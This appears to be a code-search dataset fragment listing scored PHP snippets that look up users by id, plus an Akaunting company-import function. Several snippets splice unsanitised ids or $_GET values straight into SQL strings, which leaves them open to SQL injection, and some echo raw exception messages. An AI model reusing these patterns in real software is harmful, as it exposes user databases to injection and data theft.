:id');\n\t\t\t$user->bindParam(':id',$id);\n\t\t\t$user->execute();\n\t\t\t$row = $user->fetch(PDO::FETCH_ASSOC);\n\t\t\treturn \t$row;\n\t\t}\n\n\t\n\t}", "title": "" }, { "docid": "3299f083869650aa65c72404911347ef", "score": "0.72138095", "text": "public function getUserData($user_id){\n $query = \"SELECT * FROM user WHERE id='\".$user_id.\"' OR user_reg_id='\".$user_id.\"'\";\n try{\n $result = self::$db->executeQuery($query);\n $row = mysqli_fetch_array($result);\n return $row;\n\n }\n catch(Exception $e){\n echo $e;\n }\n }", "title": "" }, { "docid": "4eb46f8d20748465a15878960282ea03", "score": "0.72101945", "text": "public function getUserInformation($id)\r\n {\r\n $sql = 'SELECT name, e_mail, password, salt\r\n FROM users\r\n WHERE id=\"'.$id.'\"';\r\n \r\n $result = PDODAO::getDataArray($sql);\r\n return $result;\r\n }", "title": "" }, { "docid": "ac68851e9c8f4ac099bf479466525e31", "score": "0.7204946", "text": "public function get_user_by_id($id_user){\r\n $connect = parent::connection();\r\n parent::set_names();\r\n\r\n $sql=\"select * from users where id_user=?\";\r\n\r\n $sql=$connect->prepare($sql);\r\n\r\n $sql->bindValue(1, $id_user);\r\n $sql->execute();\r\n\r\n return $result=$sql->fetchAll();\r\n }", "title": "" }, { "docid": "e5b279724d2158cb0df98604db9f151b", "score": "0.7192778", "text": "function get_user_by_id($userId) {\n $db = dbConnect();\n $sql = 'SELECT * FROM \"user\" WHERE \"userId\" = :userId';\n $stmt = $db->prepare($sql);\n $stmt->bindValue(':userId', $userId, PDO::PARAM_INT);\n $stmt->execute();\n $userData = $stmt->fetch(PDO::FETCH_ASSOC);\n $stmt->closeCursor();\n return $userData;\n }", "title": "" }, { "docid": "233ad5ebb9a81523b1494290a472b58d", "score": "0.71919465", "text": "public function getUserData(){\n if(!$this->isStarted()){\n $this->start();\n }\n $aData = $this->oSession->GetVar('user');\n\n // Hack for getting admin user id\n $side = AMI_Registry::get('side');\n if($side == 'adm'){\n $aData['id'] = $GLOBALS['_h']['uid'];\n }\n // $aData = $this->getMember()->getUserInfo();\n if(is_array($aData)){\n $keys = array_keys($aData);\n foreach($keys as $key){\n // Leave only text keys\n if(is_numeric($key) || !$key){\n unset($aData[$key]);\n }\n }\n /**\n * @var AMI_ModTableItem\n */\n if($side == 'adm'){\n if(!sizeof($this->aAdminUserData)){\n $oItemModel = AMI::getResourceModel('users/table')->find($aData['id']);\n $this->aAdminUserData = $oItemModel->getData();\n }else{\n $oItemModel = AMI::getResourceModel('users/table')->getItem();\n }\n $aData = $this->aAdminUserData;\n }else{\n $oItemModel = AMI::getResourceModel('users/table')->getItem();\n }\n return $oItemModel->setDataAndRemap($aData, FALSE, TRUE);\n }else{\n return null;\n }\n }", "title": "" }, { "docid": "6458ee31f257fe892b0e50e5d064aa3c", "score": "0.71703285", "text": "private function getUserInfo($id){\n\t\t\t$fcUser=new FCUser($id);\n\t\t\treturn $fcUser->find();\n\t\t}", "title": "" }, { "docid": "30dcda6dc4e7fd9f61751d184a27d338", "score": "0.71632254", "text": "function get_user($id)\n\t\t{\n\t\t\treturn $this->db->get_where('co_users', array('id' => $id))->row_array();\n\t\t}", "title": "" }, { "docid": "35691b6da1393492ea3b81c2dad6ce50", "score": "0.71571714", "text": "function getUser($id) {\n require(\"data/users.php\");\n\n foreach($users as $user){\n if ($user['name'] === $id){\n return $user;\n }\n }\n\n return null;\n}", "title": "" }, { "docid": "2abaef11a56dc71176fd5b194604f7e1", "score": "0.71520966", "text": "function get_user($id)\n {\n return $this->db->get_where('user',array('id'=>$id))->row_array();\n }", "title": "" }, { "docid": "55e9677fc37b9aa877ae5cf8158c837a", "score": "0.714983", "text": "public function getDataById($id)\n\t{\n\t\t$this->db->select('*');\n\t\t$this->db->where('id', $id);\n\t\t$query = $this->db->get('users');\n\t\t$data = $query->result_array();\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "438ae7283a806457841eba6bac042e28", "score": "0.7135073", "text": "public function getById($id){\n\n $header[] = \"user: \".$id;\n\n return $this->http->get('/users','',$header);\n }", "title": "" }, { "docid": "b1cbfe560231bc011276a2781c177748", "score": "0.71329975", "text": "function user_data($user_id){\n global $db;\n $data = array();\n $user_id = (int)$user_id;\n $func_num_args = func_num_args();\n $func_get_args = func_get_args();\n\n if($func_num_args > 1 ){\n unset($func_get_args[0]);\n $field = '`'.implode('`, `',$func_get_args).'`'; //making arguments so they can be used in the query\n $result = $db->query(\"SELECT $field FROM `users` WHERE `user_id`=$user_id\");\n $row = $result->fetch_assoc();\n return $row;\n }\n }", "title": "" }, { "docid": "be28ad0c9c441168a0155c192d679d49", "score": "0.7114859", "text": "public function getUserById ($id){\n $this -> db -> query(\"SELECT * FROM users WHERE user_id = :user_id\");\n $this -> db -> bind(':user_id', $id);\n $row = $this -> db -> single();\n return $row;\n }", "title": "" }, { "docid": "99f32f9ac350e2215a61854ae7c563ef", "score": "0.7108136", "text": "public function get_all_data_user_id($id){\n\n\t\t\t$stmt = $this->conn->prepare(\"SELECT * FROM penumpang WHERE id_penumpang = ?\");\n\t\t\t$stmt->bind_param(\"i\", $id);\n\t\t\tif ($stmt->execute())\n\t\t\t{\n\t\t\t\t$res = $stmt->get_result();\n\t\t\t\t$fetch = $res->fetch_assoc();\n\n\t\t\t\treturn $fetch;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "14170c66b10b6bb56a5ae3701e4189d9", "score": "0.71013147", "text": "public function userDetails($id){\n\t$sql=\"SELECT id,email,status,tid,createDt,modifyDt FROM \".TABLE_USERS.\" WHERE id='\".$id.\"'\";\n\t$data=$globalUtil->sqlFetchRowsAssoc($sql,2);\n \treturn $data;\n }", "title": "" }, { "docid": "e534c00164b7ca31cf96b600dc0145c5", "score": "0.709125", "text": "function get_user_by_id($id) {\r\n\t\t\tglobal $wpdb;\r\n\r\n\t\t\t$users_table = $this->model->get_users_table_name();\r\n\t\t\t$usermeta_table = $this->model->get_usermeta_table_name();\r\n\t\t\t\r\n\t\t\t$users = $wpdb->get_results(\"SELECT * FROM $users_table WHERE ID = $id\");\r\n\t\t\t\r\n\t\t\tif (count($users)>0){\r\n\t\t\t\t$issuer = get_usermeta($id,'tractis_auth_issuer');\r\n\t\t\t\t$verification_url = get_usermeta($id,'verification_url');\r\n\t\t\t\treturn array(\r\n\t\t\t\t\t'user' => $users[0], \r\n\t\t\t\t\t'issuer' => $issuer,\r\n\t\t\t\t\t'verification_url' => $verification_url,\r\n\t\t\t\t);\r\n\t\t\t}else{\r\n\t\t\t\treturn null;\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "9165bc2672b0738f9885a6466c6a76c5", "score": "0.7080779", "text": "public static function get_user_data($user_id, $data_key='')\n\t{ \n \treturn $user_id ? UserDataReader::get_user_data($user_id, $data_key) : array();\n \t}", "title": "" }, { "docid": "b96b68f3ecfce7df19e35bcec6fc8b8c", "score": "0.70696783", "text": "function get_user_info($id)\n{\n $conn = get_Db_Connection();\n $sqlUser = \"SELECT * FROM Users WHERE id_number='$id';\"; //Since the user is already veryfied just extract the data\n $resultUser = $conn->query($sqlUser);\n return $resultUser;\n}", "title": "" }, { "docid": "6b35cd839d92388535c8915fe690527d", "score": "0.7061494", "text": "public function read($id)\n {\n $user = new User();\n $where['id'] = $id;\n $result = $user->where($where)->get();\n\n return $result;\n\n }", "title": "" }, { "docid": "5723b896395cff1fcf4fd678bd685986", "score": "0.70580375", "text": "public function getuser(){ \n $u = $this->conn->table('users')->select(['id','name','email'])\n ->where('id',$this->request->getVar('id'))\n ->get()->getRow();\n echo json_encode($u);\n }", "title": "" }, { "docid": "4ed9ba8073c394f0039896db46425785", "score": "0.70416534", "text": "public function getUser($id)\n {\n try\n {\n $sql = 'SELECT * FROM korisnik WHERE ID_KORISNIKA=:id';\n $query = database::Connect()->prepare($sql);\n $query->execute(array(':id'=>$id));\n $result = $query->fetch();\n return $result;\n }\n catch(PDOException $e)\n {\n echo $e->getMessage();\n }\n }", "title": "" }, { "docid": "8b28932c9f483e468fbf8ce8ef19b5d5", "score": "0.7040926", "text": "public function user_information($id){\n $result_user=mysqli_query($this->conn,\"select * from users where id=$id\");\n if(mysqli_num_rows($result_user)>0){\n $data=array();\n while($row=mysqli_fetch_array($result_user)){\n $data[]=$row;\n }\n return $data;\n }else{\n return null;\n }\n \n }", "title": "" }, { "docid": "b609bfb49a83d29937a62d0dd486c84b", "score": "0.7021316", "text": "function get_user($id)\n\t{\n\t\t$this -> db -> where ('id', $id);\n\t\t$query = $this -> db -> get ('resourcedb_users');\n\t\treturn $query; \n\t}", "title": "" }, { "docid": "a02bc771496b73efad1a6126ceec2e5c", "score": "0.70141995", "text": "public function getUserData();", "title": "" }, { "docid": "d408112847c5803ed6bcfcc97b1426e8", "score": "0.7013455", "text": "function getUserData($dbInstance, $id, $field)\n {\n $sql = \"SELECT `\";\n $sql .= $field;\n $sql .= \"` FROM `Test_Users_List` WHERE `UserId`=\";\n $sql .= \"'\".$id.\"'\";\n \n $result = mysqli_query($dbInstance, $sql);\n $row = mysqli_fetch_array($result);\n $value = $row[$field];\n \n return $value;\n }", "title": "" }, { "docid": "1b03b9c2534512dfbcb3b49446976983", "score": "0.6995444", "text": "function get_user_by_id($id)\n{\n $user_info = array();\n\n // make a call in db.\n switch ($id){\n case 1:\n $user_info = array(\"first_name\" => \"Marc\", \"last_name\" => \"Simon\", \"age\" => 21); // let's say first_name, last_name, age\n break;\n case 2:\n $user_info = array(\"first_name\" => \"Frederic\", \"last_name\" => \"Zannetie\", \"age\" => 24);\n break;\n case 3:\n $user_info = array(\"first_name\" => \"Laure\", \"last_name\" => \"Carbonnel\", \"age\" => 45);\n break;\n }\n\n return $user_info;\n}", "title": "" }, { "docid": "d0c38e2c4f466fca0d5f40e1593a8172", "score": "0.69950914", "text": "public function get_user($id_user=null){\r\n\t\t$db = $this->koneksi();\r\n\t\t$collection = $db->data_user;\r\n\t\t$counter = 0;\r\n\t\t$return_array = array();\r\n if ($id_user==null){\r\n $cursor = $collection->find();\r\n }\r\n else{\r\n $criteria = array('id_user'=>$id_user,);\r\n $cursor = $collection->find($criteria);\r\n }\r\n\t\tforeach ($cursor as $document){\r\n\t\t\t$return_array[$counter] = $document;\r\n\t\t\t$counter++;\r\n\t\t}\r\n\t\treturn $return_array;\r\n\t}", "title": "" }, { "docid": "64a4f69b326997b5a9480f410bfeaca0", "score": "0.69879735", "text": "function getUserById($id){\r\n\t\tglobal $db;\r\n\t\t$query = \"SELECT * FROM users WHERE id=\" . $id;\r\n\t\t$result = mysqli_query($db, $query);\r\n\r\n\t\t$user = mysqli_fetch_assoc($result);\r\n\t\treturn $user;\r\n\t}", "title": "" }, { "docid": "fe9b6249ce5df7c8729ae82fc68a699c", "score": "0.6984455", "text": "function getUserInfoByUserID($id){\n checkConnectivity();\n\n $query =sprintf(\"select * from user where ID = %s\",$id);\n $result =mysqli_query($GLOBALS['connection_link'],$query);\n if ($row = mysqli_fetch_assoc($result)) {\n return $row;\n }\n return false;\n }", "title": "" }, { "docid": "eb097f85b5165ba4765c80012ba8a8b5", "score": "0.6984058", "text": "public function getUser($id='')\n {\n $this->db->select('su_id, su_name,su_email');\n $this->db->where('su_is_active', '1');\n $this->db->where('su_id', $id);\n return $this->db->get('user')->row();\n }", "title": "" }, { "docid": "3289258ada6c3ee36f15759b73d1934a", "score": "0.69764715", "text": "function getUserById($id){\n\t\tglobal $conn;\n\t\t$query = \"SELECT * FROM user WHERE id=\" . $id;\n\t\t$result = queryMysql($query);\n\n\t\t$user = mysqli_fetch_assoc($result);\n\t\treturn $user;\n\t}", "title": "" }, { "docid": "4156f697a73b767ae6ea755ec8f30d1f", "score": "0.6962177", "text": "function get_user_info ($id_user)\n\t{\n\t\t$query_stmt = $this->database_conn->prepare (\"SELECT * FROM users WHERE id=:id_user\");\n\t\t$query_stmt->bindParam (':id_user', $id_user);\n\t\t$query_stmt->execute ();\n\t\treturn $query_stmt->fetch ();\n\t}", "title": "" }, { "docid": "7efcc9b44efa4b9d454d2e1a8b2c988d", "score": "0.6957786", "text": "public function get( $id = NULL ){\n\t\t$this->db->where('id',$id);\n\t\t$result = $this->db->get('user');\n\t\t$data['user'] = $result->row();\n\n\t\t$user_type = $data['user']->usertype == 'O' ? 'operator' : 'patient';\n\n\t\t$this->db->where('user_id',$id);\n\t\t$result = $this->db->get($user_type);\n\t\t$data[$user_type] = $result->row();\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "e180b20fc4c97e21a5cd4339033d4ec3", "score": "0.69562864", "text": "function getUserInfo($user_id, $db){\n $sql = 'SELECT user_id, first_name, last_name, email, is_admin FROM users WHERE user_id = :user_id';\n $stmt = $db->prepare($sql);\n $stmt->bindValue(':user_id', $user_id, PDO::PARAM_STR);\n $stmt->execute();\n $userData = $stmt->fetch(PDO::FETCH_ASSOC);\n $stmt->closeCursor();\n return $userData;\n }", "title": "" }, { "docid": "30fa3e9bec5b45e9c5dbb53571a395bb", "score": "0.69540566", "text": "public function getUserById($id)\r\n {\r\n $stmt = $this->conn->prepare(\"SELECT user_id, user_email, user_password, subscription_type FROM user_account WHERE user_id = ?\");\r\n $stmt->bind_param(\"i\", $id);\r\n $stmt->execute(); \r\n $stmt->bind_result($id , $email, $password, $subscriber);\r\n $stmt->fetch(); \r\n $user = array(); \r\n $user['user_id'] = $id; \r\n $user['user_email']=$email; \r\n $user['user_password'] = $password; \r\n $user['subscription_type'] = $subscriber; \r\n \r\n return $user; \r\n }", "title": "" }, { "docid": "2167f0486f1877a7b471d54f47d0d944", "score": "0.6952244", "text": "public function getUser() {\n $id = $_GET[\"user\"];\n\n $request = $this->connexion->prepare(\"SELECT * FROM user WHERE id=:id\");\n $request->bindParam(':id', $id);\n \n $result = $request->execute();\n $user = $request->fetch(PDO::FETCH_ASSOC);\n return $user;\n }", "title": "" }, { "docid": "c6fb54a00e38dd3ed47915f8f7c66df3", "score": "0.69500476", "text": "function infoUser($id)\n{\n\t$SQL = \"SELECT pseudo,email,date_naissance,pays,bio,photo FROM membres WHERE id=\".$id;\n\t$info_user = parcoursRs(SQLSelect($SQL));\n\tif (count($info_user) == 0) \n\t\treturn false;\n\telse \n\t\treturn $info_user[0];\n}", "title": "" }, { "docid": "d6c719a56350bbfe4918eb7921b79d8e", "score": "0.6944411", "text": "public function getUserDetails($id) {\n try{\n if($id){\n $db = $this->getAdapter();\n $select = $db->select()\n ->from('users', '*')\n ->where('id = ?', $id);\n $value = $db->fetchRow($select);\n return $value;\n }else{\n return false;\n }\n } catch (Exception $e){\n echo $e->getMessage();\n }\n }", "title": "" }, { "docid": "0360f572f8a5a977a72957eece26aaf6", "score": "0.69423", "text": "public function userInfo($id) {\n $this->db->select(array('u.userId', 'u.firstName', 'u.lastName', 'u.userType', 'u.oauthProvider', 'u.updatedDate', 'u.createdDate', 'u.lastLoginDate', 'u.fromIP', 'u.online'));\n $this->db->where(\"u.userId\", $id);\n $result = $this->db->get(\"user as u\")->result();\n if (empty($result)) {\n return $result;\n } else {\n return array();\n }\n }", "title": "" }, { "docid": "46b50626fe118c46ecfefa13d03b45ab", "score": "0.69407505", "text": "public function getUserById($id){\n $this->db->query('SELECT * FROM user WHERE user_id = :id');\n // Bind values\n $this->db->bind(':id', $id);\n\n $row = $this->db->single();\n\n return $row;\n }", "title": "" }, { "docid": "ec023ce74a1d400fc38baeaaf48b55cb", "score": "0.69328123", "text": "function get_by_id($id)\n\t{\n\t\t$this->db->where('id', $id);\n\t\treturn $this->db->get('users')->row();\n\t}", "title": "" }, { "docid": "b895519bbd150347b5ce6584cdf23be9", "score": "0.69265616", "text": "public function get_user_data($id) {\n $this->ci->db->where(['id' => $id]);\n $this->ci->db->select(['*']);\n\n $data = $this->ci->db->get(tables::users)->row_array();\n\n // Add zeros to the start of the pin to make them equal in length.\n while(strlen(\"0\" . $data['pin']) <= $this->ci->config->item('pin_length')) {\n $data['pin'] = \"0\" . $data['pin'];\n }\n\n return $data;\n }", "title": "" }, { "docid": "fbcf3b211edd1e27b23213ded845271e", "score": "0.6926275", "text": "function get_user_info_by_id_arr($p_user_id)\n{\n global $g_mantis_user_table;\n\n $query = \"SELECT *\n\t \t\tFROM $g_mantis_user_table\n\t \t\tWHERE id='$p_user_id'\";\n $result = db_query($query);\n return db_fetch_array($result);\n}", "title": "" }, { "docid": "ea35df9842027a5339b071c8bb139424", "score": "0.6926178", "text": "public function getUserById($id){\n $this->db->query(\"SELECT * FROM users WHERE user_id = :id\");\n\n //Bind the email param with the email variable\n $this->db->bind(':id',$id);\n $row = $this->db->single();\n return $row; \n }", "title": "" }, { "docid": "575e14c96a4d25628fb750afae8c3e29", "score": "0.69160587", "text": "public function getUserById($id) \n\t{\n\t\t//no implementation\n\t}", "title": "" }, { "docid": "1d4cb301b034597b230430ae50754b97", "score": "0.6909414", "text": "public function getUserData(){\n\n\t\t\t$sql = \"SELECT * FROM tbl_users ORDER BY id DESC\";\n\t\t\t$query = $this->db->pdo->prepare($sql);\n\t\t\t$query->execute();\n\t\t\t$result = $query->fetchAll();\n\t\t\t return $result;\n\t\t}", "title": "" }, { "docid": "106194ea67b61bb847c450303168d453", "score": "0.690557", "text": "public function get_details_by_id($id = NULL) {\n $result = array();\n if (!empty($id)) {\n $where = array(\n \"user_id\" => $id,\n \"user_status !=\" => 9\n );\n $result = $this->get_single_row($this->users_table, $this->user_columns, $where);\n }\n return $result;\n }", "title": "" }, { "docid": "432bda8122c42ddf49eb9309a7100821", "score": "0.69038564", "text": "public function get_all_data_user($session_id){\n\n\t\t\t$stmt = $this->conn->prepare(\"SELECT * FROM penumpang WHERE username = ?\");\n\t\t\t$stmt->bind_param(\"s\", $session_id);\n\t\t\tif ($stmt->execute())\n\t\t\t{\n\t\t\t\t$res = $stmt->get_result();\n\t\t\t\t$fetch = $res->fetch_assoc();\n\n\t\t\t\treturn $fetch;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "ed44628de3f2c2f1c68bcccc05f6d03a", "score": "0.6899617", "text": "public function getUserById($id){\n $this->db->query(\"SELECT * FROM admin WHERE id = :id\");\n $this->db->bind(':id', $id);\n\n $row = $this->db->single();\n\n return $row;\n }", "title": "" }, { "docid": "2f6ed00d632defe96c4b4b5dd823aca1", "score": "0.68988055", "text": "function get_user_by_id($id) {\n\tglobal $wpdb;\n\tglobal $webgrain;\n\t$sql = \"SELECT * FROM \" . $webgrain->usertable . \" WHERE id = $id\";\n\t$result = $wpdb->get_results($wpdb->prepare($sql, 0));\n\tif(!empty($result)) { foreach($result as $r) { return $r; } }\n}", "title": "" }, { "docid": "d47e1099e65c1f6dc53b615c3d12b3b2", "score": "0.6894509", "text": "function readBy($data){\n\t\t$result = $this->userModel->readBy($data);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "f928807ee8497d7a94fc7a84375bfe47", "score": "0.6888014", "text": "public function getUserIdObj($id){\r\n $row = User_model::getIdObj($id);\r\n return $row;\r\n }", "title": "" }, { "docid": "62fe9722d1cb7a4d0106cf37017e3e96", "score": "0.6887226", "text": "public function index($id)\n {\n $userData=$this->userService->getAllUsers($id);\n\n return $userData;\n }", "title": "" }, { "docid": "53c73275ec397fa8e0283bb49f35a400", "score": "0.68871635", "text": "public function user_details($id)\n \t{\n \t\t$sql4=\"SELECT * FROM dbUsers WHERE role_id=2\";\n\t $result = mysqli_query($this->db,$sql4);\n\t //$user_data = mysqli_fetch_array($result);\n\t return $result;\n \t}", "title": "" }, { "docid": "69bbca6a36097550ecd4748f1375d27d", "score": "0.6880336", "text": "public function get_user_by_id($id)\n {\n $query = $this->db->get_where('xx_users', array('id' => $id));\n return $result = $query->row_array();\n }", "title": "" }, { "docid": "98d53f75fbb8df74ba34351d9708dbdd", "score": "0.68801576", "text": "public function usernaja_get() {\n //otherwise single row will be returned\n $id = $this->get('id');\n echo 'userID On Get : ' .$id .'|';\n $users = $this->user->getRows($id);\n \n //check if the user data exists\n if(!empty($users)){\n //set the response and exit\n $this->response($users, REST_Controller::HTTP_OK);\n }else{\n //set the response and exit\n $this->response([\n 'status' => FALSE,\n 'message' => 'No user were found.'\n ], REST_Controller::HTTP_NOT_FOUND);\n }\n }", "title": "" }, { "docid": "ede36fde02b483ef2f944c3bf946f6cf", "score": "0.6879528", "text": "public function getUserInfo()\n {\n $id = request('id');\n\n $r = $this->model->where('id',$id)->first();\n return $this->resultReturn($r);\n }", "title": "" }, { "docid": "8e886c7a794c530fefdfa376bf2a0fc2", "score": "0.68786705", "text": "public function getRow($id) {\n // array for prepared statement\n $userId = array(\n 'id' => $id\n );\n \n \n // prepare and execute statement\n $sql = 'SELECT * FROM user WHERE id = :id';\n $stmt = Database::conn()->prepare($sql);\n $stmt->execute($userId);\n \n // fetch as associated array\n $user = $stmt->fetch();\n \n // return the user array\n return $user;\n }", "title": "" }, { "docid": "8866ff270da2bdbb420a83a77200269f", "score": "0.6874981", "text": "public function socialData($id){\nglobal $db,$util;\n \n if (isset($_SESSION['authorized'])){\n\n $user_value=$db->db_query(\"select * from social_accounts where id='\".escape_string($id).\"' LIMIT 1\");\n $users=$db->db_fetch_array($user_value);\n \n return $users;\n }\n\n}", "title": "" }, { "docid": "80dc9ac44c87b019f60a6e3c4108a7ea", "score": "0.6874599", "text": "public function user_detail_byid($user_id){\n\t\t\t\t\t$sql76 = mysqli_query($this->_con,\"select * from users where id ='$user_id' \");\n\t\t\t\t\t$result76=mysqli_fetch_array($sql76); //print_r($result99);\n\t\t\t\t\treturn $result76;\n\t\t\t\n\t\t}", "title": "" }, { "docid": "a1e2c183a6a519a75a17764f970ce5c8", "score": "0.68665504", "text": "public function UserInfobyId($id){\n $selectuser = $this->db->query(\"SELECT * FROM users_info where id='$id'\");\n $fetch=mysqli_fetch_array($selectuser);\n // foreach ($fetch as $user) {\n // $data[]=$user;\n // }\n return $fetch;\n}", "title": "" }, { "docid": "88fcc61da632135f6e34f5e1b8dcf20c", "score": "0.68654585", "text": "public function getUserById(){\n // Create a query string\n $query = 'SELECT * FROM '.$this->table.' WHERE id=:id';\n \n // Prepare statement\n $stmt = $this->conn->prepare($query);\n // Bind user name\n $stmt->bindValue(':id', $this->id);\n\n // Execute the query\n $stmt->execute();\n\n return $stmt;\n }", "title": "" }, { "docid": "519a2672b8229171eab7c321fbc1f706", "score": "0.68636966", "text": "function get ($id) {\r\n // PARAM $id : user ID\r\n\r\n $sql = \"SELECT * FROM `tbl_users` WHERE `user_id`=?\";\r\n $this->stmt = $this->pdo->prepare($sql);\r\n $this->stmt->execute([$id]);\r\n $entry = $this->stmt->fetchAll();\r\n return count($entry)==0 ? false : $entry[0] ;\r\n }", "title": "" }, { "docid": "b924d39ffaa44be1578691d9084f53c5", "score": "0.68636745", "text": "public function setDataFromDatabaseUsingGet() {\n $query = \"SELECT id, username, first_name, last_name, gender, birthdate, picture FROM user WHERE id = '\" . $_GET['id'] . \"'\";\n $data = $this->runQuery($query);\n $row = mysqli_fetch_array($data);\n \n $this->setData($row);\n }", "title": "" }, { "docid": "a75494ff07892215f077f77257d8dd90", "score": "0.6859484", "text": "public function getUserInfo($id) {\n\n\t\t$conn = $this->connect();\n\t\t$user = array();\n\n\t\ttry {\n\t\t\t\n\t\t\t$stmt = $conn->prepare(\"SELECT id, username, email, user_role, image FROM users WHERE id = :id\");\n\t\t\t$stmt->bindParam(':id', $id);\n\t\t\t$stmt->execute();\n\n\t\t\t$row = $stmt->fetch();\n\n\t\t\t$user['id'] = $row['id'];\n\t\t\t$user['username'] = $row['username'];\n\t\t\t$user['email'] = $row['email'];\n\t\t\t$user['user_role'] = $row['user_role'];\n\t\t\t$user['image'] = $row['image'];\n\n\t\t\t\t\n\n\t\t\treturn $user;\n\n\t\t} catch (Exception $e) {\n\n\t\t\techo \"Error: \" . $e->getMessage();\n\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "92063e7bc8573a23771e341772b809e1", "score": "0.6859462", "text": "public function getUserById ($id)\n {\n $this->db->query ('SELECT * FROM users WHERE id = :id');\n \n // Bind value\n $this->db->bind (':id', $id);\n\n $row = $this->db->single ();\n\n return $row;\n }", "title": "" }, { "docid": "4c8a46ead9cd7c1e2ffb3f3e0add8bcd", "score": "0.6859008", "text": "public function getUserById($id)\n {\n // return $this->db->query($query)->row_array($id);\n return $this->db->get_where('user', ['id' => $id])->row_array(); \n }", "title": "" }, { "docid": "57ba05f7248d38773e463fd5fee3ac2a", "score": "0.6856531", "text": "function userDetails($user_id)\r\n{\r\n $sql = 'SELECT * FROM `countries` WHERE id = ?';\r\n $user = getSingleRecord($sql, 's', [$user_id]);\r\n return $user;\r\n}", "title": "" }, { "docid": "9df75bc0f9e1cbcdbae437a00cac0862", "score": "0.68524", "text": "public function getUserById($id){\n $this->db->query(\"SELECT * FROM users WHERE id = :id\");\n $this->db->bind(\":id\", $id);\n\n return $this->db->single();\n }", "title": "" }, { "docid": "4f865165ed1e6bb2f5fde402b3946076", "score": "0.68481827", "text": "public function getUser( $id )\n {\n return parent::getRowObject( $id );\n }", "title": "" }, { "docid": "b0791ac1c42ffb27e4b9514a14238c5e", "score": "0.68435436", "text": "public function getUserById($id){\n\n\t\t\t$sql = \"SELECT * FROM tbl_users WHERE id = :id LIMIT 1\";\n\t\t\t$query = $this->db->pdo->prepare($sql);\n\t\t\t$query->bindValue(':id', $id);\n\t\t\t$query->execute();\n\t\t\t$result = $query->fetch(PDO::FETCH_OBJ);\n\t\t\treturn $result;\n\t\t}", "title": "" }, { "docid": "4f809e1501973640ea1c3d31b8ea081d", "score": "0.68408936", "text": "public function getFromUserId($user_id);", "title": "" }, { "docid": "c1713df068ee6ec918e5e51dfb38f8a1", "score": "0.68408185", "text": "public function showUser($id){\r\n $conn = Db::getInstance();\r\n $statement = $conn->prepare(\"select * from users where users.id like '$id'\");\r\n //$statement = $conn->prepare(\"select * from users, posts where posts.user_id = users.id and users.id like '$id'\");\r\n $statement->execute(array($id));\r\n $result = $statement->fetch(PDO::FETCH_ASSOC);\r\n return $result;\r\n }", "title": "" }, { "docid": "c1bfaf9a16711fb0c58799042080f4f3", "score": "0.6838348", "text": "public function getUserById($id)\r\n\t{\r\n\t\t$query = \"SELECT * FROM users WHERE id= :id\";\r\n\t\t$stmt = $this->getConnection()->prepare($query);\r\n\t\t$stmt->bindParam('id', $id);\r\n\t\t$stmt->execute();\r\n\t\treturn $stmt->fetch(\\PDO::FETCH_ASSOC);\r\n\t}", "title": "" }, { "docid": "4896402ba10ec75aa3dcf2363a6615f4", "score": "0.6831907", "text": "public function index_get($id) {\n\n $user = $this->user_model->get($id);\n if (!is_null($user)) {\n $this->response($user, 200);\n } else {\n $this->response(array('error' => 'NO HAY RESULTADOS'), 404);\n }\n }", "title": "" }, { "docid": "8d3c5761a669088c9903e3974ea5e321", "score": "0.683021", "text": "function get_user_by_id( $id ) {\n\t$output = false;\n\t$findings = 0;\n\t$user_found = array();\n\n\tforeach ( get_user_data() as $user => $attrs ) {\n\t\tif ( $attrs['id'] == $id ) {\n\t\t\t$findings = $findings + 1;\n\t\t\tarray_push( $user_found , $attrs );\n\t\t}\n\t}\n\tif ( $findings === 1 ) {\n\t\t$output = $user_found[0];\n\t\tunset( $user_found );\n\t} else {\n\t\tunset( $user_found );\n\t}\n\treturn $output;\n}", "title": "" }, { "docid": "27b4f8fbcac238996b404d721f76fe07", "score": "0.68236446", "text": "public function getUserById($id) {\n try{\n $conn = (new DB)->connect();\n $stmt = $conn->prepare(\"SELECT * FROM user WHERE user_id = ?\");\n $stmt->execute([$id]);\n $result = $stmt->fetch();\n $conn = null;\n return $result;\n }\n catch (PDOException $e) {\n echo json_encode([ \n 'error' => $e->getMessage(),\n ]);\n print \"Error!: \" . $e->getMessage() . \"<br/>\";\n }\n exit;\n }", "title": "" }, { "docid": "224f319bf8c617b8487b3633bd23fd79", "score": "0.6823251", "text": "function getUserById($userid) {\n $table = $this->config->database->prefix . 'core_users';\n\n return $this->db->fetchAll(\"SELECT * FROM $table WHERE id='$userid'\");\n }", "title": "" } ]
46158f63176ed61905351f32aad53ff1
Import Companies from Akaunting
[ { "docid": "dce4ff4767e4939f02a23cc1cfb3bea1", "score": "0.5473093", "text": "public static function importCompanies()\n {\n // echo \"\\nStart importing companies from akaunting.\\n\";\n\n $AK_company = new Companies();\n\n $payload = [\n 'sort' => 'id',\n 'direction' => 'asc',\n 'limit' => 5\n ];\n\n $result = Json::decode($AK_company->listPagination($payload));\n\n if(!empty($result))\n {\n $max_pages = $result['meta']['pagination']['total_pages'];\n for($i = 1; $i <= $max_pages; $i++)\n {\n $result = Json::decode($AK_company->listPagination($payload, ['page' => $i]));\n\n if(!empty($result) && !empty($result['data']))\n {\n $companies = $result['data'];\n\n foreach($companies as $company)\n {\n $save_company = self::findOne(['akc_id' => $company['id']]);\n\n if(empty($save_company))\n {\n $save_company = new self();\n $save_company->setIsNewRecord(true);\n $save_company->akc_id = $company['id'];\n $save_company->akc_name = $company['name'];\n if(!$save_company->save())\n {\n Yii::error('Error in saving record in ' . self::tableName() . ' ' . __CLASS__ . ' ' . __FUNCTION__ . \"\\n\\n\" . Json::encode($save_company->getErrors()));\n }\n }\n }\n }\n }\n }\n\n // echo \"Done. \\n\";\n }", "title": "" } ]
